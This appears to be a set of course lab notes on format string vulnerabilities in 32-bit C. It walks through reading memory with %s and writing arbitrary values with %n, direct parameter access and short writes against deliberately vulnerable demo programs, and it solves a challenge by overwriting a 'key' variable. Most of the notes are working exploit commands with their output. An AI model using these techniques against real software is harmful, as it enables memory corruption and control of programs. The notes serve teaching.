Contents
Notes for Ch3_Format5
Setup notes: We needed to disable ASLR. This was achieved by setting the /proc/sys/kernel/randomize_va_space to “0”.
Make note of the paramter number that hits our AAAA’s: “AAAA%4$08x” –> AAAA41414141
So… the fourth parameter is our format string
Now we know this, we can replace the start of our format string with an actual address that we want to write to.
So where do we want to write to?
The key variable
We want to disassemble the program to determine the address of the key.
When we ran the program, we saw that the program wanted us to set the value of the key to 36.
If we disassemble main, we can see that there is the following cmp instruction, comparing the contents of eax to 0x24 (which is dec 36):
0x56654520 <+186>: cmp eax,0x24
We need to work backwards from here + figure out what’s getting stored in eax.
We will open it in Ghidra to get a better control flow graph.
This gives us a better understanding of what is going on. Essentially there’s a format string vuln, then a conditional check on a variable ‘key’ to compare it to 0x24 (base 10 36).
We need to write the value 0x24 to the memory address of the key.
We can use gdb to find the address of the key. We first break at main, then run info add key.
You input: AAA The key is equal to 0.
Breakpoint 2, 0x56556520 in main () (gdb) info add key Symbol “key” is at 0xb086935c in a file compiled without debugging.
Let’s add that to the start of our format string exploit. Additionally, we need to ensure that we reverse the byte order to respect the endianness.
echo "$(printf "\x5c\x93\x86\xb0")%x%4\$n" > ../exploit_Ch3_Format5_nTargetWrite
./Ch3_Format5_nTargetWrite < ../exploit_Ch3_Format5_nTargetWrite
This command ended up writing the number of characters we’ve printed so far, 12, into the key variable!
Hint: Play around with adjusting the padding to write the required value into key
Notes for demo:
1) Recap
We left with this program:
#include <stdio.h>
void printWrapper(char *string){
printf(string); // <--- Bad use of printf()
}
int main(int argc, char *argv[]){
char print_me[5012];
fgets(print_me, 4096, stdin); // <--- User controls format string
printWrapper(print_me);
return(0);
}
demonstrative examples are compiled w/o memory protections, using:
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc -no-pie -fno-pie -z execstack -z norelro -m32 -mpreferred-stack-boundary=2 -g demo.c -o demo
2) Reading arbitrary memory
-
Using the program from last week I am going to demonstrate how you can use the format string vulnerability in printf() to read any memory in the process’ virtual address space.
-
As we saw last time, we were able to print the contents of the stack. By passing in enough %08x templates, we saw that we were actually able to see the hexadecimal representation of our format string.
-
We can see that here by adding AAAA at the start, and as we know ascii ‘A’ == 0x41
echo "AAAA%08x.%08x.%08x.%08x" | ./demo
AAAAffcb7768.080491b2.ffcb63d4.41414141
This pops a value from the stack and prints the hex representation of it four times. In practice, the 41414141 shows us that the fourth parameter reads from the beginning of our format string.
As we know from last time, the %s template will print a string located at the memory address that it’s popped from the top of the stack.
If we replaced the fourth %08x in our above example with a %s, the %s would attempt to print a string located at memory address 0x41414141. This address is not a valid address, so this would result in a segfault.
echo "AAAA%08x.%08x.%08x.%s" | ./demo"
Segmentation Fault
If we replaced this 0x41414141 with a valid memory address, we could use the %s template to print out the contents of that memory address as a string.
— Finding PATH
We can run gdb to find the location that the PATH environment variable is loaded into memory.
gdb -q ./demo
break main
r
info var environ
x/8s *((char**)environ)
e.g.
(gdb) x/8s *((char**)environ)
0xffffd461: "SHELL=/bin/bash"
0xffffd471: "SESSION_MANAGER=local/p-26-214-13-gtXA-1-c-asm-iof-desktop:@/tmp/.ICE-unix/759,unix/p-26-214-13-gtXA-1-c-asm-iof-desktop:/tmp/.ICE-unix/759"
0xffffd4fd: "WINDOWID=37748743"
0xffffd50f: "QT_ACCESSIBILITY=1"
0xffffd522: "COLORTERM=truecolor"
0xffffd536: "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0"
0xffffd570: "LANGUAGE="
0xffffd57a: "SSH_AUTH_SOCK=/tmp/ssh-SR0DqqfLGTPe/agent.628"
0xffffd461 is the start of the env var string when we load it via gdb.
When we are running programs within gdb, there may be slight differences in the memory layout. This is usually due to different environment variables.
This is not actually going to accurately represent the memory location of PATH when we run it, as it’s going to be at a slightly different location because the length of the parameter which contains the input we used to run the program will slightly offset it.
When we run with gdb -q ./demo, the env var SHELL is loaded into memory address 0xffffd43F.
There are differences in the memory addresses when we run the executable via gdb. These are usually due to differences in the environment variables.
- GDB adds a ‘LINES’ and ‘COUNT’ env var, and also has a different length program name.
- _ contains the path to the executable that was run, which is different depending on where we’re running it from and whether we’re running /usr/bin/gdb or /home/asdf/binary_path.
We’ll look at this in more detail in a later video, but for now we can figure it out by writing some additional code inside our program to print out the exact address.
#include <stdio.h>
void printWrapper(char *string){
printf(string); // <--- Bad use of printf()
}
int main(int argc, char *argv[]){
char print_me[5012];
fgets(print_me, 4096, stdin); // <--- User controls format string
printWrapper(print_me);
char* ptr = getenv("SHELL");
printf("\n\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
return(0);
}
When we run it with ./demo, the env var SHELL is loaded into memory address 0xffffd468.
echo "$(printf '\x68\xd4\xff\xff')%08x %08x %08x %s" | ./demo
h���ffffd228 080491b2 ffffbe94 SHELL=/bin/bash
We can adjust to just print the /bin/bash string, which may be useful later.
echo "$(printf '\x6E\xd4\xff\xff')%08x %08x %08x %s" | ./demo
i���ffffd218 080491b2 ffffbe84 /bin/bash
3) Writing to arbitrary memory
In order to demonstrate this, we will create a new variable in our demo program called overwrite_me and print out its address. We will then use a format string exploit to overwrite its value with something else.
#include <stdio.h>
void printWrapper(char *string){
printf(string); // <--- Bad use of printf()
}
int main(int argc, char *argv[]){
char print_me[5012];
int overwrite_me = 0;
fgets(print_me, 4096, stdin); // <--- User controls format string
printWrapper(print_me);
char* ptr = getenv("SHELL");
printf("\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
printf("Memory address of overwrite_me @ 0x%08x = %d 0x%08x\n", &overwrite_me, overwrite_me, overwrite_me);
return(0);
}
./demo
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
With the above code we’re now able to see that the memory address of overwrite_me is at 0xffffbe8c and it contains the value 0.
We can use a similar technique with %n rather than %s, to write to arbitrary memory.
echo "$(printf '\x8c\xbe\xff\xff')%08x %08x %08x %08x %n" | ./demo
����ffffd228 080491cc ffffbe90 00000000
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 40 0x00000028
The value 40 that we have written into int overwrite_me is calculated based on the amount of characters we printed up until that point. i.e. the length of the string: "����ffffd228 080491cc ffffbe90 00000000 " in the example above.
We can control this value easily if we adjust the field width option. We’ve been printing 8 hex characters with our %08x templates, but we can actually just adjust this 8 to a larger number to increase the amount of characters we print.
echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 28 0x0000001c
+1
echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%2x%n" | ./demo
����ffffd22880491ccffffbe90 0
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 29 0x0000001d
+100, etc.
This works fine for small numbers, but not for large ones like memory addresses.
4) Field-width specifier
If we look at the hex representation of the overwrite_me value, we can see that the end 2 values (i.e. the LSB) can be controlled quite well.
We can use multiple writes to the memory address of the integer that we’re overwriting, offset by a byte each time, in order to write larger bits of data.
Lets try write 0xDDCCBBAA into our overwrite_me variable to demonstrate.
In order to do this, we’ll need to write AA first, then BB, then CC, then DD.
First write (AA):
echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%8x%n" | ./demo
����ffffd22880491ccffffbe90 0
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 35 0x00000023
When we run our original exploit string with 8 , we have 35 (or 0x23) in the LSB.
We can use gdb to calculate the number of characters we need to print before we hit the hex value for aa:
(gdb) p 0xaa - 35 + 8
$3 = 143
echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%143x%n" | ./demo
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 170 0x000000aa
Second write (BB):
To write BB, we need another argument for another %x format parameter, that increments the byte count to 0xBB.
In order to do this we need the memory addresses that we’re going to use for writes on the stack.
$( printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%x8%n"
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe9008
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 53 0x00000035
As we can see, this sets 0x35 or d53 in overwrite me, and we want it to be 0xaa.
We can use a width buffer of 119 characters in order to write aa to the LSB as before.
echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n" | ./demo
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90 0
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @ 0xffffbe8c = 170 0x000000aa
In order to write bb, we can calculate the number of characters our string needs to be in 0xbb, then add a second write:
```(gdb) p 0xbb - 0xaa $4 = 17
`echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n%17x%n" | ./demo`
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90 0 4b4e554a
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 48042 0x0000bbaa
etc.
We could continue this example with the final 2 writes. If we needed a number smaller than the one we've got, we would need to increment by enough to overflow the first 2 bytes of the number.
### 5) Direct Parameter Access
Direct Parameter Access simplifies format string exploits.
It allows parameters to be accessed directly using the `$` qualifier.
`%n$d` accesses the nth parameter and displays it as a decimal number.
e.g.
`printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);`
`7th: 70, 4th: 00040`
`echo "AAAA%x%x%x%x" | ./demo`
AAAAffffd22880491ccffffbe900
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
vs
`echo "AAAA%5\$x" | ./demo`
AAAA41414141
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
DPA also simplifies the writing of memory addresses. As we can directly access memory, we don't need the 4-byte spacers of junk data to increment the byte output count anymore.
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%5\$n" | ./demo`
����������������
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 16 0x00000010
Let's write the realistic looking memory address of `0xbffffd72` into the variable test_vals.
First we need to calculate the
(gdb) p 0x72 - 16 $1 = 98 (gdb) p 0xfd - 0x72 $2 = 139 (gdb) p 0x1ff - 0xfd $2 = 258 (gdb) p 0x1bf - 0xff $3 = 192
If we only do the first 3 writes, we can see the integer overflowing into the adjacent memory space on the left. This doesn't matter in this case, as we're going to overwrite the 0x01 with our 0xbf.
It is something to think about though for the 4th write. If we're writing a number that overflows we could corrupt other variables.
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n" | ./demo`
���������������� ffffd228 80491cc ffffbe90
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 33553778 0x01fffd72
To finish, we perform the fourth write here:
`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n%192x%8\$n" | ./demo`
���������������� ffffd228 80491cc ffffbe90 0
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = -1073742478 0xbffffd72
### 6) Short Writes
We can use 2-byte shorts to reduce the number of writes required to write a memory address.
As the overflowed integer value past the end of the 2 byte short is dropped rather than written, the order of the writes doesn't matter. This means we could write to the higher memory address, then the lower one.
e.g.
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
����ffffd22880491ccffffbe900
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 28 0x0000001c
changing the memory address to write to the first 2 bytes:
`echo "$(printf '\x8e\xbe\xff\xff')%x%x%x%x%n" | ./demo`
����ffffd22880491ccffffbe900
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 1835008 0x001c0000 ```